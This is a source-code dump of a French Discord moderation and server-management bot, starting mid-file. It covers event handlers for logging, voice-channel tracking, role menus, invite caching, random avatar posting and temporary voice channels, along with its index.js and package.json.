db.get(`customcmdembed_${message.content.toLowerCase()}`) 8 | 9 | if (!embedj.description) { } else { embedj.description = embedj.description.replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author) } 10 | if (!embedj.title) { } else { embedj.title = embedj.title.replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author) } 11 | if (!embedj.footer) { } else { embedj.footer.text = embedj.footer.text.replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:name}", message.guild.name).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{guild:member}", message.guild.memberCount).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:name}", message.author.username).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:tag}", message.author.tag).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user:id}", message.author.id).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author).replace("{user}", message.author) } 12 | 13 | message.channel.send({ embed: embedj }) 14 | 15 | 16 | } 17 | if (db.get(`customcmd_${message.content.toLowerCase()}`) !== null) { 18 | 19 | 20 | message.channel.send(db.get(`customcmd_${message.content.toLowerCase()}`)) 21 | 22 | 23 | } 24 | } -------------------------------------------------------------------------------- /events/gestion/presenceUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, oldPresence, newPresence) => { 7 | 8 | 9 | if (!oldPresence) return; 10 | 11 | let txt = db.get(`txtsupp_${oldPresence.guild.id}`) 12 | if (txt == null) return; 13 | let role = db.get(`rolesupp_${oldPresence.guild.id}`) 14 | if (role == null) return; 15 | 16 | if (role && txt) { 17 | if (newPresence.activities[0] && newPresence.activities[0].state.includes(txt)) { 18 | if (!newPresence.member.roles.cache.some(r => r.id === role)) { 19 | newPresence.member.roles.add(role) 20 | } 21 | } else { 22 | if (newPresence.member.roles.cache.some(r => r.id === role)) { 23 | newPresence.member.roles.remove(role) 24 | } 25 | } 26 | } 27 | } 28 | 29 | -------------------------------------------------------------------------------- /events/gestion/ready.js: -------------------------------------------------------------------------------- 1 | const Discord = require("discord.js"); 2 | const disbut = require("discord-buttons") 3 | const db = require("quick.db") 4 | 5 | module.exports = (client) => { 6 | setInterval(async () => { 7 | client.guilds.cache.forEach(guild => { 8 | let memberformat = db.fetch(`memberformat_${guild.id}`) 9 | let onlineformat = db.fetch(`onlineformat_${guild.id}`) 10 | let vocalformat = db.fetch(`vocalformat_${guild.id}`) 11 | let boostformat = db.fetch(`boostformat_${guild.id}`) 12 | if (memberformat == null) memberformat = `💎・Membres: ${guild.memberCount}` 13 | if (onlineformat == null) onlineformat = `🌟・En ligne: ${guild.members.cache.filter(m => m.user.presence.status !== 'offline').size}` 14 | if (vocalformat == null) vocalformat = `🎧・En vocal: ${guild.members.cache.filter(m => m.voice.channel).size}` 15 | if (boostformat == null) boostformat = `🔮・Boost: ${guild.premiumSubscriptionCount}` 16 | 17 | let memberchannel = guild.channels.cache.get(db.fetch(`member_${guild.id}`)) 18 | if (!memberchannel) { return; } else { memberchannel.setName(memberformat.replace("", guild.memberCount)) } 19 | let onlinechannel = guild.channels.cache.get(db.fetch(`online_${guild.id}`)) 20 | if (!onlinechannel) { return; } else { onlinechannel.setName(onlineformat.replace("", guild.members.cache.filter(m => m.user.presence.status !== 'offline').size)) } 21 | let vocalchannel = guild.channels.cache.get(db.fetch(`vocal_${guild.id}`)) 22 | if (!vocalchannel) { return; } else { vocalchannel.setName(vocalformat.replace("", guild.members.cache.filter(m => m.voice.channel).size)) } 23 | let boostchannel = guild.channels.cache.get(db.fetch(`boost_${guild.id}`)) 24 | if (!boostchannel) { return; } else { boostchannel.setName(boostformat.replace("", guild.premiumSubscriptionCount)) } 25 | }); 26 | 27 | }, 5000) 28 | 29 | client.guilds.cache.forEach(async guild => { 30 | let colorcolor = db.get(`randomcolor_${guild.id}`) 31 | if(colorcolor === null) colorcolor = "#2f3136" 32 | let interval = db.get(`randominterval_${guild.id}`) 33 | if(interval === null) interval = 60000*2 34 | // Random Gif 35 | if(db.get(`randomgif_${guild.id}`)) { 36 | setInterval(() => { 37 | let channel = guild.channels.cache.get(db.get(`randomgif_${guild.id}`)) 38 | if(channel) { 39 | let user = client.users.cache.random() 40 | if(user.bot) return; 41 | if(user.displayAvatarURL({ dynamic : true }).includes(".gif")){ 42 | 43 | 44 | let button = new disbut.MessageButton() 45 | .setStyle('url') 46 | .setURL(user.displayAvatarURL({ dynamic : true })) 47 | .setLabel("Clique pour télécharger"); 48 | let embed = new Discord.MessageEmbed() 49 | .setImage(user.displayAvatarURL({ dynamic : true })) 50 | .setColor(colorcolor) 51 | .setFooter(`Gif de profil de ${user.tag}`) 52 | channel.send(embed, button).then(slm => {console.log(`Gif envoyer dans ${guild.channels.cache.get(db.get(`randomgif_${guild.id}`)).name}`)}).catch(err => {}) 53 | 54 | 55 | } 56 | } 57 | 58 | 59 | 60 | }, interval) 61 | // Random Pic 62 | } if(db.get(`randompp_${guild.id}`)) { 63 | 64 | setInterval(() => { 65 | 66 | let channel = guild.channels.cache.get(db.get(`randompp_${guild.id}`)) 67 | if(channel) { 68 | let user = client.users.cache.random() 69 | if(user.bot) return; 70 | let button = new disbut.MessageButton() 71 | .setStyle('url') 72 | .setURL(user.displayAvatarURL()) 73 | .setLabel("Clique pour télécharger"); 74 | let embed = new Discord.MessageEmbed() 75 | .setImage(user.displayAvatarURL()) 76 | .setColor(colorcolor) 77 | .setFooter(`Photo de profil de ${user.tag}`) 78 | 79 | channel.send(embed, button).then(slm => {console.log(`Pic envoyer dans ${guild.channels.cache.get(db.get(`randompp_${guild.id}`)).name}`)}).catch(err => {}) 80 | } 81 | 82 | 83 | }, interval) 84 | // Random Banner 85 | 86 | } if(db.get(`randombanner_${guild.id}`)) { 87 | 88 | setInterval( async () => { 89 | 90 | let channel = guild.channels.cache.get(db.get(`randombanner_${guild.id}`)) 91 | if(channel) { 92 | let user = client.users.cache.random() 93 | if(user.bot) return; 94 | let button = new disbut.MessageButton() 95 | .setStyle('url') 96 | .setURL(await getUserBannerUrl(user.id,client, { size: 512 })) 97 | .setLabel("Clique pour télécharger"); 98 | let embed = new Discord.MessageEmbed() 99 | .setImage(await getUserBannerUrl(user.id,client, { size: 512 })) 100 | .setColor(colorcolor) 101 | .setFooter(`Bannière de profil de ${user.tag}`) 102 | 103 | channel.send(embed, button).then(slm => {console.log(`Banner envoyer dans ${guild.channels.cache.get(db.get(`randombanner_${guild.id}`)).name}`)}).catch(err => {}) 104 | 105 | 106 | } 107 | 108 | 109 | }, interval) 110 | }}) 111 | } 112 | -------------------------------------------------------------------------------- /events/invite/inviteCreate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, invite) => { 7 | 8 | let invites = await invite.guild.fetchInvites(); 9 | if(invite.guild.vanityURLCode) invites.set(invite.guild.vanityURLCode, await invite.guild.fetchVanityData()); 10 | client.guildInvites.set(invite.guild.id, invites); 11 | }; 12 | -------------------------------------------------------------------------------- /events/invite/inviteDelete.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, invite) => { 7 | let invites = await invite.guild.fetchInvites(); 8 | if(invite.guild.vanityURLCode) invites.set(invite.guild.vanityURLCode, await invite.guild.fetchVanityData()); 9 | client.guildInvites.set(invite.guild.id, invite); 10 | 11 | }; 12 | -------------------------------------------------------------------------------- /events/invite/ready.js: -------------------------------------------------------------------------------- 1 | module.exports = (client) => { 2 | client.guilds.cache.forEach(async guild => { 3 | let invites = await guild.fetchInvites(); 4 | if(guild.vanityURLCode) invites.set(guild.vanityURLCode, await guild.fetchVanityData()); 5 | client.guildInvites.set(guild.id, invites); 6 | }); 7 | } 8 | -------------------------------------------------------------------------------- /events/logs/messageDelete.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client,message) => { 7 | let guild = message.guild 8 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 9 | 10 | let wass = db.get(`msglog_${message.guild.id}`); 11 | const logschannel = message.guild.channels.cache.get(wass) 12 | 13 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 14 | .setAuthor(`${message.author.username}` , `${message.author.displayAvatarURL({dynamic : true })}`) 15 | .setColor(color) 16 | .setDescription(`**Message supprimé dans** <#${message.channel.id}>\n ${message.content}`) 17 | .setTimestamp()) 18 | 19 | } -------------------------------------------------------------------------------- /events/logs/messageUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, oldMessage, newMessage) => { 7 | 8 | let guild = oldMessage.guild 9 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 10 | 11 | let wass = db.get(`msglog_${oldMessage.guild.id}`); 12 | 13 | const logschannel = oldMessage.guild.channels.cache.get(wass) 14 | 15 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 16 | .setColor(color) 17 | .setAuthor(`${oldMessage.author.username}` , `${oldMessage.author.displayAvatarURL({dynamic : true })}`) 18 | .setDescription(`**Message édité dans** <#${oldMessage.channel.id}>` ) 19 | .addField(`Avant` , `${oldMessage.content}`) 20 | .addField(`Aprés` , `${newMessage.content}`) 21 | .setTimestamp()) 22 | } -------------------------------------------------------------------------------- /events/logs/voiceChannelJoin.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member, channel) => { 7 | const color = db.get(`color_${member.guild.id}`) === null? client.config.color:db.get(`color_${member.guild.id}`) 8 | 9 | let wass = db.get(`logvc_${member.guild.id}`); 10 | 11 | const logschannel = member.guild.channels.cache.get(wass) 12 | 13 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 14 | .setAuthor(member.user.username, member.user.displayAvatarURL({dynamic : true })) 15 | .setColor(color) 16 | .setDescription(`**${member}** se connecte au salon ${channel.name}`) 17 | 18 | ) 19 | 20 | } 21 | 22 | -------------------------------------------------------------------------------- /events/logs/voiceChannelLeave.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | 7 | module.exports = async (client, member, voiceChannel) => { 8 | const color = db.get(`color_${member.guild.id}`) === null? client.config.color:db.get(`color_${member.guild.id}`) 9 | 10 | let wass = db.get(`logvc_${member.guild.id}`); 11 | 12 | 13 | const logschannel = member.guild.channels.cache.get(wass) 14 | 15 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 16 | .setAuthor(member.user.username, member.user.displayAvatarURL({dynamic : true })) 17 | .setColor(color) 18 | .setDescription(`**${member}** quitte le salon ${channel.name}`) 19 | ) 20 | 21 | } 22 | 23 | -------------------------------------------------------------------------------- /events/logs/voiceChannelSwitch.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, oldChannel,newChannel) => { 7 | let wass = db.get(`${oldChannel.guild.id}.logvc`); 8 | const color = db.get(`color_${member.guild.id}`) === null? client.config.color:db.get(`color_${member.guild.id}`) 9 | const logschannel = oldChannel.guild.channels.cache.get(wass) 10 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 11 | .setAuthor(member.user.username, member.user.displayAvatarURL({dynamic : true })) 12 | .setColor(color) 13 | .setDescription(`**${member}** a changer de salon vocal, il a quitter ${oldChannel.name} 14 | et a rejoint ${newChannel.name}`) 15 | 16 | ) 17 | 18 | } -------------------------------------------------------------------------------- /events/logs/voiceStateUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, oldState,newState) => { 7 | const guild = oldState.guild 8 | 9 | 10 | }; 11 | -------------------------------------------------------------------------------- /events/logs/voiceStreamingStart.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, member, voiceChannel) => { 7 | const color = db.get(`color_${member.guild.id}`) === null ? client.config.prefix : db.get(`color_${member.guild.id}`) 8 | let wass = db.get(`logvc_${voiceChannel.guild.id}`); 9 | const logschannel = voiceChannel.guild.channels.cache.get(wass) 10 | if (logschannel) logschannel.send(new Discord.MessageEmbed() 11 | .setAuthor(member.user.username, member.user.displayAvatarURL({ dynamic: true })) 12 | .setColor(color) 13 | .setDescription(`**${member}** partage son écran dans ${voiceChannel.name}`)) 14 | } -------------------------------------------------------------------------------- /events/logs/voiceStreamingStop.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, member, voiceChannel) => { 7 | const color = db.get(`color_${member.guild.id}`) === null ? client.config.prefix : db.get(`color_${member.guild.id}`) 8 | let wass = db.get(`logvc_${voiceChannel.guild.id}`); 9 | const logschannel = voiceChannel.guild.channels.cache.get(wass) 10 | if (logschannel) logschannel.send(new Discord.MessageEmbed() 11 | .setAuthor(member.user.username, member.user.displayAvatarURL({ dynamic: true })) 12 | .setColor(color) 13 | .setDescription(`**${member}** ne partage plus son écran dans ${voiceChannel.name}`) 14 | .setTimestamp()) 15 | } -------------------------------------------------------------------------------- /events/rank/voiceChannelJoin.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member, channel) => { 7 | const color = db.get(`color_${member.guild.id}`) === null ? client.config.prefix : db.get(`color_${member.guild.id}`) 8 | 9 | if (member.user.bot) return; 10 | const guild = member.guild 11 | 12 | let inter = setInterval(async () => { 13 | db.add(`vocalrank_${member.guild.id}_${member.user.id}`, 1000) 14 | 15 | }, 1000) 16 | 17 | client.inter.push({ 18 | interval: inter, 19 | id: member.user.id, 20 | guild: member.guild.id, 21 | }) 22 | 23 | 24 | } 25 | 26 | -------------------------------------------------------------------------------- /events/rank/voiceChannelLeave.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member, voiceChannel) => { 7 | const color = db.get(`color_${member.guild.id}`) === null ? client.config.prefix : db.get(`color_${member.guild.id}`) 8 | 9 | if (client.inter.find(c => c.id === member.user.id && c.guild === member.guild.id)) { 10 | 11 | clearInterval(client.inter.find(c => c.id === member.user.id && c.guild === member.guild.id).interval) 12 | let index = client.inter.indexOf({ 13 | interval: client.inter.find(c => c.id === member.user.id && c.guild === member.guild.id).interval, 14 | id: member.user.id, 15 | guild: member.guild.id, 16 | }) 17 | client.inter.splice(index) 18 | 19 | } 20 | 21 | 22 | 23 | 24 | } 25 | 26 | -------------------------------------------------------------------------------- /events/rolemenu/clickButton.js: -------------------------------------------------------------------------------- 1 | const db = require("quick.db") 2 | const {buttonInteraction} = require('../../util/embedButton/start.js'); 3 | 4 | module.exports =async (client, button) => { 5 | buttonInteraction(button, client.interaction); 6 | 7 | if (button.message.partial) await button.message.fetch(); 8 | if (button.partial) await button.fetch(); 9 | if (button.clicker.user.bot) return; 10 | button.clicker.fetch() 11 | let member = button.clicker.member; 12 | let rol = button.guild.roles.cache.get(db.get(`buttonmenuconfig_${button.guild.id}`)) 13 | if(rol) { 14 | 15 | if(button.id === "menu-"+rol.id) { 16 | button.reply.defer(true) 17 | if (button.clicker.member.roles.cache.has(rol.id)) { 18 | 19 | button.clicker.member.roles.remove(rol).catch() 20 | } else if(!button.clicker.member.roles.cache.has(rol.id)) { 21 | button.clicker.member.roles.add(rol).catch() 22 | 23 | 24 | } 25 | 26 | } 27 | 28 | } 29 | 30 | } -------------------------------------------------------------------------------- /events/rolemenu/messageReactionAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, reaction, user) => { 7 | if (reaction.message.partial) await reaction.message.fetch(); 8 | if (reaction.partial) await reaction.fetch(); 9 | if (user.bot) return; 10 | 11 | const { guild } = reaction.message; 12 | if (!guild) return; 13 | if (!guild.me.hasPermission("MANAGE_ROLES")) return; 14 | const member = guild.members.cache.get(user.id); 15 | if (!member) return; 16 | const data = db.get(`reactions_${guild.id}`) 17 | if (!data) return; 18 | const reaction2 = data.find( 19 | (r) => r.emoji === reaction.emoji.toString() && r.msg === reaction.message.id 20 | ); 21 | if (!reaction2) return; 22 | member.roles.add(reaction2.roleId).catch(err => undefined); 23 | } -------------------------------------------------------------------------------- /events/rolemenu/messageReactionremove.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, reaction, user) => { 7 | if (reaction.message.partial) await reaction.message.fetch(); 8 | if (reaction.partial) await reaction.fetch(); 9 | if (user.bot) return; 10 | const { guild } = reaction.message; 11 | if (!guild) return; 12 | if (!guild.me.hasPermission("MANAGE_ROLES")) return; 13 | const member = guild.members.cache.get(user.id); 14 | if (!member) return; 15 | const data = db.get(`reactions_${guild.id}`) 16 | if (!data) return; 17 | const reaction2 = data.find( 18 | (r) => r.emoji === reaction.emoji.toString() && r.msg === reaction.message.id 19 | ); 20 | if (!reaction2) return; 21 | member.roles.remove(reaction2.roleId).catch(err => undefined); 22 | 23 | } -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | /// WASSIM GESTION V2.0.5 2 | // variable 3 | 4 | const Discord = require('discord.js') 5 | const client = new Discord.Client({ 6 | fetchAllMembers: true, 7 | partials: ['MESSAGE', 'CHANNEL', 'REACTION', 'GUILD_PRESENCES', 'GUILD_MEMBERS', 'GUILD_MESSAGES', 'GUILD_VOICE_STATES'] , 8 | intents: [ 9 | Discord.Intents.FLAGS.DIRECT_MESSAGES, 10 | Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS, 11 | Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING, 12 | Discord.Intents.FLAGS.GUILDS, 13 | Discord.Intents.FLAGS.GUILD_BANS, 14 | Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS, 15 | Discord.Intents.FLAGS.GUILD_INTEGRATIONS, 16 | Discord.Intents.FLAGS.GUILD_INVITES, 17 | Discord.Intents.FLAGS.GUILD_MEMBERS, 18 | Discord.Intents.FLAGS.GUILD_MESSAGES, 19 | Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS, 20 | Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING, 21 | Discord.Intents.FLAGS.GUILD_PRESENCES, 22 | Discord.Intents.FLAGS.GUILD_VOICE_STATES, 23 | Discord.Intents.FLAGS.GUILD_WEBHOOKS, 24 | ] 25 | }) 26 | const {readdirSync} = require("fs") 27 | const db = require('quick.db') 28 | const ms = require("ms") 29 | const { MessageEmbed } = require('discord.js') 30 | const {login } = require("./util/login.js"); 31 | login(client) 32 | process.on("unhandledRejection", err => { 33 | if(err.message) return 34 | console.error("Uncaught Promise Error: ", err); 35 | }) 36 | const loadCommands = (dir = "./commands/") => { 37 | readdirSync(dir).forEach(dirs => { 38 | const commands = readdirSync(`${dir}/${dirs}/`).filter(files => files.endsWith(".js")); 39 | 40 | for (const file of commands) { 41 | const getFileName = require(`${dir}/${dirs}/${file}`); 42 | client.commands.set(getFileName.name, getFileName); 43 | console.log(`> Commande charger ${getFileName.name} [${dirs}]`) 44 | }; 45 | }); 46 | }; 47 | const loadEvents = (dir = "./events/") => { 48 | readdirSync(dir).forEach(dirs => { 49 | const events = readdirSync(`${dir}/${dirs}/`).filter(files => files.endsWith(".js")); 50 | 51 | for (const event of events) { 52 | const evt = require(`${dir}/${dirs}/${event}`); 53 | const evtName = event.split(".")[0]; 54 | client.on(evtName, evt.bind(null, client)); 55 | console.log(`> Event charger ${evtName}`) 56 | }; 57 | }); 58 | }; 59 | 60 | loadEvents(); 61 | loadCommands(); 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "gestion", 3 | "version": "1.0.0", 4 | "main": "index.js", 5 | "scripts": { 6 | "test": "echo \"Error: no test specified\" && exit 1" 7 | }, 8 | "author": "Wass", 9 | "license": "ISC", 10 | "dependencies": { 11 | "@discordjs/opus": "^0.7.0", 12 | "axios": "^0.24.0", 13 | "bindings": "^1.5.0", 14 | "canvacord": "^5.2.3", 15 | "cross-fetch": "^3.1.4", 16 | "discord-backup": "^2.5.0", 17 | "discord-buttons": "^4.0.0", 18 | "discord-logs": "^2.0.1", 19 | "discord.js": "^12.5.3", 20 | "discord.js.old": "^11.6.5", 21 | "ffmpeg": "0.0.4", 22 | "ffmpeg-static": "^4.4.0", 23 | "fs": "0.0.1-security", 24 | "images-scraper": "^6.4.0", 25 | "mathjs": "^10.0.1", 26 | "node-opus": "^0.3.3", 27 | "opusscript": "0.0.8", 28 | "path": "^0.12.7", 29 | "quick.db": "^7.1.3", 30 | "randomstring": "^1.2.1", 31 | "request": "^2.88.2", 32 | "superagent": "^6.1.0" 33 | }, 34 | "repository": { 35 | "type": "git", 36 | "url": " " 37 | }, 38 | "description": "" 39 | } 40 | -------------------------------------------------------------------------------- /util/embedButton/start.js: -------------------------------------------------------------------------------- 1 | const { MessageActionRow, MessageButton } = require('discord-buttons'); 2 | const db = require("quick.db"); 3 | const buttonInteraction = async function (button, interaction) { 4 | if (interaction.interactor !== button.clicker.user || button.message.id !== interaction.message.id) return ; 5 | if (button.id == 'next-page') { 6 | (interaction.currentPage + 1 == interaction.embeds.length ? interaction.currentPage = 0 : interaction.currentPage += 1); 7 | interaction.message.edit({ embed: interaction.embeds[interaction.currentPage], components: [interaction.components] }); 8 | button.reply.defer(true); 9 | } else if (button.id == 'back-page') { 10 | (interaction.currentPage - 1 < 0 ? interaction.currentPage = interaction.embeds.length - 1 : interaction.currentPage -= 1); 11 | interaction.message.edit({ embed: interaction.embeds[interaction.currentPage], components: [interaction.components] }); 12 | button.reply.defer(true); 13 | } 14 | } 15 | 16 | 17 | 18 | const ButtonPages = async function (interaction, message, embeds, duration, buttonStyle, rightEmoji, leftEmoji) { 19 | 20 | if (!['red', 'green', 'blurple', "gray"].includes(buttonStyle)) throw new TypeError(`Button style incorect`); 21 | if (!rightEmoji) throw new TypeError(`Emoji pour le 1er boutous n'est pas fournis`); 22 | if (!leftEmoji) throw new TypeError(`Emoji pour le 2eme boutous n'est pas fournis`); 23 | 24 | const button1 = new MessageButton() 25 | .setLabel(rightEmoji) 26 | .setStyle(buttonStyle) 27 | .setID('next-page'); 28 | 29 | const button2 = new MessageButton() 30 | .setLabel(leftEmoji) 31 | .setStyle(buttonStyle) 32 | .setID('back-page'); 33 | 34 | const interactiveButtons = new MessageActionRow() 35 | .addComponent(button2) 36 | .addComponent(button1); 37 | 38 | await message.channel.send({ components: [interactiveButtons], embed: embeds[0] }).then((m) => { 39 | interaction.message = m; 40 | interaction.embeds = embeds; 41 | interaction.currentPage = 0; 42 | interaction.interactor = message.author; 43 | interaction.components = interactiveButtons; 44 | setTimeout(() => { 45 | m.edit("", { components: [], embed: embeds[interaction.currentPage] }) 46 | }, 60000 * 5) 47 | 48 | }) 49 | 50 | 51 | } 52 | 53 | 54 | 55 | module.exports = { 56 | ButtonPages, 57 | buttonInteraction 58 | } 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /util/gestion/tempo.js: -------------------------------------------------------------------------------- 1 | const db = require("quick.db"); 2 | const tempomap = new Map(); 3 | const tempo = function (client , message) { 4 | 5 | 6 | new Promise(resolve => { 7 | setInterval(() => { 8 | resolve(2); 9 | try{ 10 | client.guilds.cache.forEach(guild => { 11 | 12 | 13 | const channels = guild.channels.cache.map(ch => ch.id) 14 | for (let i = 0; i < channels.length; i++) { 15 | const key = `tempvoicechannel_${guild.id}_${channels[i]}`; 16 | if (tempomap.get(key)) { 17 | var vc = guild.channels.cache.get(tempomap.get(key)); 18 | if (vc.members.size < 1) { 19 | tempomap.delete(key); 20 | return vc.delete(); 21 | } else {} 22 | } 23 | } }); 24 | }catch{} 25 | }, 10000) 26 | }) 27 | 28 | 29 | 30 | client.on("voiceStateUpdate", (oldState, newState) => { 31 | let salon = db.get(`jc_${oldState.guild.id}`) 32 | if(salon == null ) return; 33 | 34 | 35 | let oldparentname = "unknown" 36 | let oldchannelname = "unknown" 37 | let oldchanelid = "unknown" 38 | if (oldState && oldState.channel && oldState.channel.parent && oldState.channel.parent.name) oldparentname = oldState.channel.parent.name 39 | if (oldState && oldState.channel && oldState.channel.name) oldchannelname = oldState.channel.name 40 | if (oldState && oldState.channelID) oldchanelid = oldState.channelID 41 | let newparentname = "unknown" 42 | let newchannelname = "unknown" 43 | let newchanelid = "unknown" 44 | if (newState && newState.channel && newState.channel.parent && newState.channel.parent.name) newparentname = newState.channel.parent.name 45 | if (newState && newState.channel && newState.channel.name) newchannelname = newState.channel.name 46 | if (newState && newState.channelID) newchanelid = newState.channelID 47 | if (oldState.channelID) { 48 | if (typeof oldState.channel.parent !== "undefined") oldChannelName = `${oldparentname}\n\t**${oldchannelname}**\n*${oldchanelid}*` 49 | else oldChannelName = `-\n\t**${oldparentname}**\n*${oldchanelid}*` 50 | } 51 | if (newState.channelID) { 52 | if (typeof newState.channel.parent !== "undefined") newChannelName = `${newparentname}\n\t**${newchannelname}**\n*${newchanelid}*` 53 | else newChannelName = `-\n\t**${newchannelname}**\n*${newchanelid}*` 54 | } 55 | if (!oldState.channelID && newState.channelID) { 56 | if(newState.channelID !== salon) return; 57 | tempochannel(newState); 58 | } 59 | if (oldState.channelID && !newState.channelID) { 60 | if (tempomap.get(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`)) { 61 | var vc = oldState.guild.channels.cache.get(tempomap.get(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`)); 62 | if (vc.members.size < 1) { 63 | tempomap.delete(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`); 64 | return vc.delete(); 65 | } 66 | else { 67 | } 68 | } 69 | } 70 | if (oldState.channelID && newState.channelID) { 71 | 72 | if (oldState.channelID !== newState.channelID) { 73 | if(newState.channelID===salon) 74 | tempochannel(oldState); 75 | if (tempomap.get(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`)) { 76 | var vc = oldState.guild.channels.cache.get(tempomap.get(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`)); 77 | if (vc.members.size < 1) { 78 | tempomap.delete(`tempvoicechannel_${oldState.guild.id}_${oldState.channelID}`); 79 | return vc.delete(); 80 | } 81 | else { 82 | }} 83 | } 84 | } 85 | 86 | }) 87 | async function tempochannel(user) { 88 | let emoji = db.get(`emote_${user.guild.id}`) 89 | if(emoji == null ) emoji = "Salon de " 90 | 91 | let categoy = db.get(`catggg_${user.guild.id}`) 92 | if(categoy == null ) return; 93 | 94 | 95 | //user.member.user.send("") 96 | await user.guild.channels.create(`${emoji}${user.member.user.username}`, { 97 | type: 'voice', 98 | parent: categoy, 99 | }).then(async vc => { 100 | user.setChannel(vc); 101 | 102 | tempomap.set(`tempvoicechannel_${vc.guild.id}_${vc.id}`, vc.id); 103 | await vc.overwritePermissions([ 104 | { 105 | id: user.id, 106 | allow: 